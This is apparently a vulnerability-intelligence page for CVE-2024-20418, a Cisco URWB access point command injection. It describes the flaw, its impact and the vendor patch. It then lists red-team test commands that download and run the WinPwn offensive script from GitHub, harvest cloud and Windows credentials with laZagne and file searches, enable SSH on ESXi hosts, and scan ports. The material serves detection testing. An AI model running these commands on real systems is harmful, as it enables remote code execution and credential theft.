CVE-2024-20418
Overview
This vulnerability is a command injection flaw originating from improper input validation in the web-based management interface of Cisco Unified Industrial Wireless Software for Cisco Ultra-Reliable Wireless Backhaul Access Points. The affected component is the HTTP interface responsible for handling management commands, where user-supplied input is not sanitized, enabling injection of arbitrary commands. This occurs within the Cisco Aironet Access Point Software running on IOS XE Controller platforms.
Vulnerability Description
A vulnerability in the web-based management interface of Cisco Unified Industrial Wireless Software for Cisco Ultra-Reliable Wireless Backhaul (URWB) Access Points could allow an unauthenticated, remote attacker to perform command injection attacks with root privileges on the underlying operating system. This vulnerability is due to improper validation of input to the web-based management interface. An attacker could exploit this vulnerability by sending crafted HTTP requests to the web-based management interface of an affected system. A successful exploit could allow the attacker to execute arbitrary commands with root privileges on the underlying operating system of the affected device.
Impact
An unauthenticated remote attacker can execute arbitrary commands with root privileges on the underlying operating system by exploiting this vulnerability, enabling full control over the affected device. No authentication or user interaction is required, and the attack can be launched remotely over the network. This could lead to complete device compromise, disruption of wireless backhaul services, and potential lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of exploitation and high impact on confidentiality, integrity, and availability.
Solution
Cisco has released patches addressing this vulnerability in updated versions of Cisco Unified Industrial Wireless Software for Ultra-Reliable Wireless Backhaul Access Points. Administrators should apply the fixes as detailed in Cisco Security Advisory cisco-sa-backhaul-ap-cmdinj-R7E28Ecs. The advisory provides specific version updates and installation instructions. No alternative workarounds are noted; prompt application of vendor-supplied patches is recommended to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the web-based management interface of Cisco Unified Industrial Wireless Software presents a significant risk due to its potential for command injection attacks. This issue arises from inadequate input validation, which allows attackers to manipulate the interface by sending specially crafted HTTP requests. When these requests are processed by the system, they can lead to the execution of arbitrary commands with root privileges on the underlying operating system. The ability to execute commands at such a high privilege level poses a critical threat, as it can compromise the integrity, confidentiality, and availability of the affected systems.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An unauthenticated remote attacker can target the web-based management interface without needing prior access or credentials. By crafting specific HTTP requests that exploit the input validation flaw, an attacker could gain control over the device. Scenarios may include executing commands that alter system configurations, install malicious software, or exfiltrate sensitive data. The simplicity of the attack, combined with the high level of access it grants, makes this vulnerability a prime target for malicious actors.
The real-world impact of this vulnerability can be severe, particularly for organizations relying on Cisco's Ultra-Reliable Wireless Backhaul Access Points for critical infrastructure. Successful exploitation could lead to unauthorized access to sensitive operational data, disruption of services, or even complete system compromise. The business risks associated with such an incident include financial losses, reputational damage, and potential regulatory penalties, especially if sensitive data is involved. Organizations may also face operational downtime, which can have cascading effects on productivity and service delivery.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected software is essential to close the vulnerability and prevent exploitation. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of traffic that may indicate an attempted attack. Network segmentation can further limit the exposure of critical systems to potential threats. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the vulnerability in the web-based management interface of Cisco Unified Industrial Wireless Software represents a critical threat that can have far-reaching consequences for affected organizations. The combination of easy exploitation and high privilege access underscores the importance of robust security practices. By prioritizing timely updates, employing detection mechanisms, and fostering a culture of security awareness, organizations can significantly reduce their risk and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-20418, with our sensors registering new instances of exploitation attempts targeting the vulnerable Cisco Unified Industrial Wireless Software. Although the EPSS score shows a slight decrease, this marginal shift does not reflect a reduced threat; rather, the uptick in observed activity signals growing adversary interest and potential weaponization. The absence of publicly disclosed exploit code notwithstanding, the increase in telemetry suggests that threat actors may be conducting reconnaissance or limited testing phases, which often precede broader exploitation campaigns. For defenders, this development underscores the urgency of heightened monitoring and rapid incident response capabilities, as the vulnerability’s critical severity combined with root-level command injection access remains a significant risk. Consequently, the threat level should be considered elevated due to the convergence of increased exploitation attempts and the vulnerability’s inherent impact, warranting sustained vigilance despite the current lack of widespread exploit dissemination.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-20418 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-backhaul-ap-cmdinj-R7E28Ecs |